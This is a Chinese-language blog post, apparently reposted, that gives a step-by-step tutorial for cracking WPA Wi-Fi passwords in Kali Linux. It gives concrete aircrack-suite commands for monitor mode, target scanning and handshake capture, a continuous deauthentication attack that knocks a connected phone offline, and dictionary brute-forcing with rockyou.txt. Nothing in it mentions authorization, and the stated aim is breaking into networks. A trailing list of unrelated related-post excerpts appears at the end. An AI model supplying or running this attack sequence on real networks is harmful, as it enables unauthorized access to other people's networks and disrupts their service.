kali linux破解wifi密码-超详细过程

前期准备VMwareWorkstation虚拟机在虚拟机安装好kaillinunx系统无线网卡(芯片为3070或者1887L都支持Linux)一.打开终端,用airmon-ng命令查看如果出现无法访问…没有那个文件或目录解决办法:先在window主机上按win+r键然后输入services.msc回车找到VMwareUSBArbitrationService,双击…

大家好,又见面了,我是你们的朋友全栈君。

前期准备

VMware Workstation虚拟机
在虚拟机安装好kail linunx系统
无线网卡(芯片为3070或者1887L都支持Linux)

一.打开终端,用airmon-ng命令查看

如果出现无法访问…没有那个文件或目录
解决办法:先在window主机上按win+r键然后输入services.msc
回车
在这里插入图片描述

找到VMware USB Arbitration Service,双击
在这里插入图片描述
1.启动类型改为自动 …2.启动服务状态 …3.确定

二.打开虚拟机的设置,改成跟下图中2一样(如果为灰色无法更改,则需要关闭kail系统后再改)

在这里插入图片描述

将usb无线网卡插在电脑上,(注意:网卡芯片为3070或者8187L,买的时候要注意)
点击 虚拟机 -> 可移动设备 -> 选择那个有WLAN的 -> 连接
在这里插入图片描述

三.命令ifconfig查看网卡信息,有wlan0表示连接成功

在这里插入图片描述

四.命令airmon-ng start wlan0开启网卡监听模式

在这里插入图片描述

五.输入iwconfig命令查看网卡信息, wlan0mon网卡名加了mon则表示成功

在这里插入图片描述

六.命令airodump-ng wlan0mon,开始扫描WiFi,按ctrl+c结束任务

在这里插入图片描述
BSSID为wifi的MAC地址,PWR为信号强弱程度,数值越小信号越强;#DATA为数据量,越大使用的人就越多,CH为信道频率(频道),ESSID为wifi的名称,中文可能会有乱码

七,接着输入airodump-ng –bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon

如:airodump-ng –bssid BC:5F:6F:3D:03:74 -c 13 -w /home wlan0mon

在这里插入图片描述
数据包已经正在抓取
如果抓取不到数据,新建一个终端:键入airepaly-ng -0 0 -c 连接到WiFi的手机mac地址 -a bssid 网卡名(一般为wlan0mon)

如:aireplay-ng -0 0 -c B8:37:65:94:5D:13 -a BC:5F:6F:3D:03:74 wlan0mon

在这里插入图片描述
(0 WiFi设备无限次数,-0 8则攻击8次。攻击原理是:先让设备掉线,设备会再自动连接,并发这个自动连接过程会进行三次握手,会发送tcp包(里面包含加密的密码数据),我方伪装成WiFi热点去窃取该数据包。我方窃取后即可用字典穷举法暴力破解加密的WiFi密码,
数据包里面的密码是哈希加密的,哈希加密只能正向)

出现WPA handshake时,表示抓包成功

在这里插入图片描述

两个终端都按Ctrl+c停止,不然那边会一直断网的

cd打开抓包的目录,ls列出来,就看到我们抓到的数据包
在这里插入图片描述

八.解压kali自带的字典文件 路径:/usr/share/wordlists/rockyou.txt.gz

如 :gzip -d/usr/share/wordlists/rockyou.txt.gz

九.键入 aircrack-ng -w 字典路径 握手包路径,回车后开始爆破

如:aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi-0.1.cap

在这里插入图片描述
耐心等待密码破解吧…

特别说明:暴力破解并不简单,需要足够强大的字典和时间,可以通过字典生成工具生成自己的字典,字典越强大越容易破解。。哈哈,也是需要点运气的!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/126596.html原文链接:https://javaforall.net

(1)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • MySQL 游标

    MySQL 游标我们之前写的 sql 语句 虽然可以通过筛选条件来限定返回的记录 但是我们却没有办法在结果集里面 像指针一样 定位每一条记录 向前定位 向后定位 或随意定位到某一条记录 为了解决这个问题 我们可以使用游标 游标可以让我们可以对结果集中的每一条记录进行定位 并对指向的记录中的数据进行操作接下来就让我们来看看具体怎么使用 这里的 select 语句用来返回一个创建游标的结果集 cursor 英文意思是游标 光标简单记忆就是说用一个查询语句来描述游标举例 2 2 打开游标定义好游标后 如果想要使用它 就得

    2025年10月17日
    4
  • plsql13连接oracle配置_plsql developer配置数据库连接

    plsql13连接oracle配置_plsql developer配置数据库连接由于硬件技术的不断更新,Win7系统逐渐成为主流,而且计算机内存逐渐增大,为了充分的利用内存资源(因为32为系统最多只能用到3G左右的内存),提高系统性能,很多人开始使用Win7(64Bit)的系统。在64位系统上安装64位的Oracle数据库,但是没有对应的64位PL/SQLDeveloper,此时就不能使用PL/SQLDeveloper来进行直接连接的,所以要想实现连接还得需要其他途径来完

    2022年10月12日
    2
  • PHP $_SERVER[‘HTTP_REFERER’] 获取前一页面的 URL 地址

    PHP $_SERVER[‘HTTP_REFERER’] 获取前一页面的 URL 地址

    2021年9月24日
    47
  • 《TCP/IP具体解释卷2:实现》笔记–ICMP:Internet控制报文协议

    《TCP/IP具体解释卷2:实现》笔记–ICMP:Internet控制报文协议

    2022年2月6日
    43
  • sql2005置疑数据库修复_sqlserver2008数据库可疑

    sql2005置疑数据库修复_sqlserver2008数据库可疑–修改数据库为紧急模式alterdatabaseP897A20_dbsetemergency–但用户模式alterdatabaseP897A20_dbsetsingle_user–修复数据库日至dbcccheckdb(P897A20_db,repair_allow_data_loss)–恢复多用户模式alterdatabaseP89

    2022年8月20日
    7
  • Android TextView两端对齐、文本两端对齐

    Android TextView两端对齐、文本两端对齐如题 在开发中 经常会用到比如说类似于表格的排版 效果图 这样的效果 谷歌也没给出这样效果的方法 网上查也没找到实现方法 然后想 中间用空格填充呢 试试 然后写了几个 TextView 对比一下 如下 放大效果 可以看出 不能完美对齐 这肯定不是想要的效果 然后就发现了两个占字符来实现 nbsp 他们与汉字换算关系就是 1 个汉字 4 个

    2025年11月5日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号